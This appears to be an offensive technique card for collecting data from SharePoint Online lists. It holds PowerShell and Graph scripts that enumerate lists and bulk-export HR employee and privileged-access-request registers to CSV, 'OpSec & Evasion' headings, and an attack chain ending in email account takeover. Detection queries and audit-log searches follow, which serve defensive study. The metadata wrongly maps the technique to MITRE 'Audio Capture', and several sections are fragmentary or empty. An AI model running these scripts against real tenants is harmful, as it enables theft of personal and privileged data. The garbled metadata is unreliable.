| Attribute | Details | |—|—| | Technique ID | COLLECT-LIST-001 | | Technique Name | SharePoint List Data Collection | | MITRE ATT&CK v18.1 | T1123 – Audio Capture | | Tactic | Collection (TA0009) | | Platforms | Microsoft 365, SharePoint Online | | Severity | High | | Technique Status | ACTIVE | | Last Verified | 2026-01-10 | | Affected Versions | SharePoint Online (modern lists), Microsoft 365 E3/E5 tenants | | Patched In | Not applicable – relies on legitimate SharePoint list APIs and permissions | | Author | SERVTEP – Artur Pchelnikau |
/sites/{site-id}/lists/{list-id}/items), CSOM and REST endpoints.| Framework | Control / ID | Description | |—|—|—| | CIS Microsoft 365 | CIS O365 3.4, 3.9 | Restrict and monitor administrative access to SharePoint sites and lists. | | DISA STIG | O365-SP-000030 | Ensure sensitive business data in SharePoint is appropriately protected and audited. | | CISA SCuBA | M365-SPO-DATA-1 | Data discovery and access monitoring for SharePoint workloads. | | NIST 800-53 | AC-6, AU-6, MP-5 | Least privilege, audit review, and protection of organizational records. | | GDPR | Art. 5, Art. 32 | Security and minimization of personal data held in registers and lists. | | DORA | Art. 9 | Safeguards for ICT data supporting critical and important functions. | | NIS2 | Art. 21 | Technical/organizational measures for essential entities, including SaaS data stores. | | ISO 27001 | A.8.12, A.8.16 | Protection and classification of information stored in application databases and lists. | | ISO 27005 | Business Register Exposure Scenario | Risk of exposing structured registers used for operations and security. |
*.sharepoint.com, graph.microsoft.com and authentication endpoints.Supported Versions:
PowerShell: PnP.PowerShell on Windows/PowerShell 7, CSOM modules for legacy scripts.
$SiteUrl = "https://<tenant>.sharepoint.com/sites/<site>"
Connect-PnPOnline -Url $SiteUrl -Interactive
Get-PnPList | Select Title, BaseTemplate, ItemCount, Hidden | Sort-Object ItemCount -Descending
What to Look For:
ItemCount in thousands or more).Access Requests, Customer Registry, Privileged Accounts).Connect-MgGraph -Scopes "Sites.Read.All"
$site = Get-MgSite -Search "HR" | Select-Object -First 1
Get-MgSiteList -SiteId $site.Id | Select-Object Id, DisplayName, List
What to Look For:
Template types such as GenericList, Contacts, IssueTracking, CustomGrid associated with line‑of‑business apps.Supported Versions: SharePoint Online (modern lists).
Objective: Dump key fields from a high‑value list to CSV for offline analysis.
$SiteUrl = "https://<tenant>.sharepoint.com/sites/HR"
$ListName = "Employees"
$CsvPath = "C:\Temp\HR_Employees.csv"
Connect-PnPOnline -Url $SiteUrl -Interactive
$SelectedFields = @("Title","EmployeeID","Department","Manager","Email")
$Items = Get-PnPListItem -List $ListName -Fields $SelectedFields -PageSize 500
$Out = foreach ($i in $Items) {
$fv = Get-PnPProperty -ClientObject $i -Property FieldValuesAsText
$obj = [PSCustomObject]@{}
foreach ($f in $SelectedFields) { $obj | Add-Member -NotePropertyName $f -NotePropertyValue $fv[$f] }
$obj
}
$Out | Export-Csv $CsvPath -NoTypeInformation -Encoding UTF8
Expected Output:
OpSec & Evasion:
Objective: Export all fields (visible or not) from a list, including custom columns and app‑related fields.
$SiteUrl = "https://<tenant>.sharepoint.com/sites/AccessMgmt"
$ListName = "PrivilegedAccessRequests"
$CsvPath = "C:\Temp\PrivAccess_AllFields.csv"
Connect-PnPOnline -Url $SiteUrl -Interactive
$Items = Get-PnPListItem -List $ListName -PageSize 2000
$Coll = @()
foreach ($item in $Items) {
$fv = Get-PnPProperty -ClientObject $item -Property FieldValuesAsText
$row = New-Object PSObject
(Get-PnPField -List $ListName) | ForEach-Object {
$row | Add-Member -MemberType NoteProperty -Name $_.InternalName -Value $fv[$_.InternalName]
}
$Coll += $row
}
$Coll | Export-Csv $CsvPath -NoTypeInformation -Encoding UTF8
Expected Output:
Objective: Use Graph to collect list data, often from app or service principal context.
GET https://graph.microsoft.com/v1.0/sites/{site-id}/lists/{list-id}/items?expand=fields
PowerShell Example:
Connect-MgGraph -Scopes "Sites.Read.All"
$items = Invoke-MgGraphRequest -Method GET -Uri "/sites/$($site.Id)/lists/$($list.Id)/items?`$expand=fields"
$items.value | ForEach-Object {
[PSCustomObject]@{
Id = $_.id
Title = $_.fields.Title
Field1 = $_.fields.CustomField1
Field2 = $_.fields.CustomField2
Created = $_.fields.Created
Modified = $_.fields.Modified
}
} | Export-Csv "C:\Temp\ListFromGraph.csv" -NoTypeInformation
OpSec & Evasion:
See COLLECT-METADATA-001 for detailed PnP and Graph references. The same cmdlets apply with different targets (BaseTemplate = GenericList instead of DocumentLibrary).
Conceptual SPL:
index=o365 sourcetype="o365:sharepoint"
| search Operation="ListItemRead" OR Operation="ListAccessed"
| stats count AS Reads BY UserId, SiteUrl, ListTitle
| where Reads > 500
OfficeActivity
| where TimeGenerated > ago(1h)
| where Workload == "SharePoint"
| where Operation in ("ListItemViewed","ListItemAccessed")
| summarize Reads = count() by UserId, SiteUrl, ListId
| where Reads > 500
Monitor PowerShell usage on admin workstations for Get-PnPListItem, Get-PnPField, graph.microsoft.com in Event ID 4688 and PowerShell logs.
CommandLine containing Get-PnPListItem or GetListItem CSOM calls.Connect-ExchangeOnline
$Start = (Get-Date).AddDays(-7)
$End = Get-Date
Search-UnifiedAuditLog -StartDate $Start -EndDate $End -ResultSize 5000 |
Where-Object { $_.Workload -eq "SharePoint" -and $_.Operation -like "ListItem*" } |
Export-Csv "C:\Temp\SPO_ListOps.csv" -NoTypeInformation
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | IA-VALID-001 – Default credential exploitation | Attacker gains tenant access. |
| 2 | Privilege Escalation | PE-ACCTMGMT-003 – SharePoint Site Collection Admin | Gains list admin rights. |
| 3 | Current Step | COLLECT-LIST-001 – SharePoint List Data Collection | Exports structured business registers. |
| 4 | Collection/Exfiltration | CA-UNSC-014 – SaaS API key exposure | Uses list contents (tokens, URLs) for further compromise. |
| 5 | Impact | REALWORLD-003 – POP/IMAP Basic Auth Abuse | Uses harvested identities for email account takeover and fraud. |